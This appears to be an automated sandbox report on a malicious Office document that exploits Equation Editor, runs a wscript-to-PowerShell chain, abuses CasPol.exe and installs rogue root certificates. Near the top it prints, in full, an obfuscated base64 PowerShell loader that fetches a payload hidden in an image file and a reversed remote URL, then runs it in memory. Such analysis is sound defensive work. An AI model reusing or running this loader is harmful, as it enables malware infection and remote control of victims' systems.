                Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $dialoguer = 'JGNvbXBhY3Rpb24gPSAnaHR0cHM6Ly9yZXMuY2xvdWRpbmFyeS5jb20vZHl0Zmx0NjFuL2ltYWdlL3VwbG9hZC92MTczMzEzNDk0Ny9ia2xweXNleWV1dDRpbXB3NTBuMS5qcGcgJzskZGV0b3hpY2F0ZXMgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyR0aG9sZWlpdGUgPSAkZGV0b3hpY2F0ZXMuRG93bmxvYWREYXRhKCRjb21wYWN0aW9uKTskZmxvb3Jib2FyZCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCR0aG9sZWlpdGUpOyRwYXNzYWdld2F5ID0gJzw8QkFTRTY0X1NUQVJUPj4nOyRjaG9sZXJhaWMgPSAnPDxCQVNFNjRfRU5EPj4nOyRleHB1cmdhdGVzID0gJGZsb29yYm9hcmQuSW5kZXhPZigkcGFzc2FnZXdheSk7JHNpY2NpbmcgPSAkZmxvb3Jib2FyZC5JbmRleE9mKCRjaG9sZXJhaWMpOyRleHB1cmdhdGVzIC1nZSAwIC1hbmQgJHNpY2NpbmcgLWd0ICRleHB1cmdhdGVzOyRleHB1cmdhdGVzICs9ICRwYXNzYWdld2F5Lkxlbmd0aDskYWxiaW5vdGljID0gJHNpY2NpbmcgLSAkZXhwdXJnYXRlczskc2VlZGNha2UgPSAkZmxvb3Jib2FyZC5TdWJzdHJpbmcoJGV4cHVyZ2F0ZXMsICRhbGJpbm90aWMpOyRmcmVha2luZyA9IC1qb2luICgkc2VlZGNha2UuVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJHNlZWRjYWtlLkxlbmd0aCldOyRncmVldGVkID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkZnJlYWtpbmcpOyRjaGluZXMgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRncmVldGVkKTskcGludGFpbCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOyRwaW50YWlsLkludm9rZSgkbnVsbCwgQCgndHh0LlJSWk1ILzQ1Ni85MTIuMTYxLjYwMS43OC8vOnB0dGgnLCAnJGNhbW9taWxlJywgJyRjYW1vbWlsZScsICckY2Ftb21pbGUnLCAnQ2FzUG9sJywgJyRjYW1vbWlsZScsICckY2Ftb21pbGUnLCckY2Ftb21pbGUnLCckY2Ftb21pbGUnLCckY2Ftb21pbGUnLCckY2Ftb21pbGUnLCckY2Ftb21pbGUnLCcxJywnJGNhbW9taWxlJykpOw==';$crunodes = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($dialoguer));Invoke-Expression $crunodes
                Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $dialoguer = 'JGNvbXBhY3Rpb24gPSAnaHR0cHM6Ly9yZXMuY2xvdWRpbmFyeS5jb20vZHl0Zmx0NjFuL2ltYWdlL3VwbG9hZC92MTczMzEzNDk0Ny9ia2xweXNleWV1dDRpbXB3NTBuMS5qcGcgJzskZGV0b3hpY2F0ZXMgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyR0aG9sZWlpdGUgPSAkZGV0b3hpY2F0ZXMuRG93bmxvYWREYXRhKCRjb21wYWN0aW9uKTskZmxvb3Jib2FyZCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCR0aG9sZWlpdGUpOyRwYXNzYWdld2F5ID0gJzw8QkFTRTY0X1NUQVJUPj4nOyRjaG9sZXJhaWMgPSAnPDxCQVNFNjRfRU5EPj4nOyRleHB1cmdhdGVzID0gJGZsb29yYm9hcmQuSW5kZXhPZigkcGFzc2FnZXdheSk7JHNpY2NpbmcgPSAkZmxvb3Jib2FyZC5JbmRleE9mKCRjaG9sZXJhaWMpOyRleHB1cmdhdGVzIC1nZSAwIC1hbmQgJHNpY2NpbmcgLWd0ICRleHB1cmdhdGVzOyRleHB1cmdhdGVzICs9ICRwYXNzYWdld2F5Lkxlbmd0aDskYWxiaW5vdGljID0gJHNpY2NpbmcgLSAkZXhwdXJnYXRlczskc2VlZGNha2UgPSAkZmxvb3Jib2FyZC5TdWJzdHJpbmcoJGV4cHVyZ2F0ZXMsICRhbGJpbm90aWMpOyRmcmVha2luZyA9IC1qb2luICgkc2VlZGNha2UuVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJHNlZWRjYWtlLkxlbmd0aCldOyRncmVldGVkID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkZnJlYWtpbmcpOyRjaGluZXMgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRncmVldGVkKTskcGludGFpbCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOyRwaW50YWlsLkludm9rZSgkbnVsbCwgQCgndHh0LlJSWk1ILzQ1Ni85MTIuMTYxLjYwMS43OC8vOnB0dGgnLCAnJGNhbW9taWxlJywgJyRjYW1vbWlsZScsICckY2Ftb21pbGUnLCAnQ2FzUG9sJywgJyRjYW1vbWlsZScsICckY2Ftb21pbGUnLCckY2Ftb21pbGUnLCckY2Ftb21pbGUnLCckY2Ftb21pbGUnLCckY2Ftb21pbGUnLCckY2Ftb21pbGUnLCcxJywnJGNhbW9taWxlJykpOw==';$crunodes = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($dialoguer));Invoke-Expression $crunodesJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_0041BCE3 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,8_2_0041BCE3
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 6_2_00212DAD push ebx; ret 6_2_00212DEA
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_004567E0 push eax; ret 8_2_004567FE
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_0045B9DD push esi; ret 8_2_0045B9E6
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_00455EAF push ecx; ret 8_2_00455EC2
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_00433FF6 push ecx; ret 8_2_00434009

                Persistence and Installation Behavior

                barindex
                Installs new ROOT certificates
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeRegistry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 BlobJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeRegistry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C BlobJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeRegistry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 BlobJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeRegistry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 BlobJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeRegistry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 BlobJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeRegistry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 BlobJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeRegistry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C BlobJump to behavior
                Office drops RTF file
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEFile dump: ~WRD0000.tmp.0.drJump to dropped file
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEFile dump: ~WRD0000.tmp.0.drJump to dropped file
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_035606D3 URLDownloadToFileW,ShellExecuteW,ExitProcess,2_2_035606D3
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_00419BC4 OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,8_2_00419BC4
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_0041BCE3 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,8_2_0041BCE3
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 BlobJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

                Malware Analysis System Evasion

                barindex
                Delayed program exit found
